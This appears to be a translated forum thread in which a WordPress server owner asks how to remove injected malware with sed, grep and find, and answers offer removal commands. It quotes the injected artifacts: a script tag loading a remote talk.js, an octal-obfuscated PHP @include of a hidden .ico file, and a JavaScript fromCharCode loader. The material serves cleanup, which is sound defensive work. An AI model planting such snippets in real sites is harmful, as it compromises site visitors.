因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
我确实使用grep通过grep搜索
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
我正在尝试将其替换为整个文件结构,sed
并编写了以下命令。
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
我想先替换单个文件上的字符串index.php
,所以我知道它可以工作。
而且我知道我的代码是错误的。请帮我解决一下这个。
我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
在删除所有内容的同时,我希望保留php开头标签<?php
。
尽管@slybloty的解决方案很简单并且有效。
以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
-删除脚本行find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-删除@include
线find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
-删除注释行
另外,我再次为运行了所有3条命令'*.html'
,因为黑客的脚本在所有目录中创建了不需要的index.html。我不确定是否批量删除这些index.html是正确的方法。
现在,我仍然需要找出垃圾文件及其痕迹。
黑客脚本也添加了JS代码。
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
尝试看看我是否也可以sed
。
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
该-l
选项仅提供文件名而不提供匹配的文本。
sed -i
。例如,sed -i.bak
将为*.bak
所有已编辑的文件创建一个文件。与while...grep
循环一起使用时,您将仅备份包含该字符串的文件。对不起所有其他评论,但在我看来,恶意软件是一种“举手投足”的方案。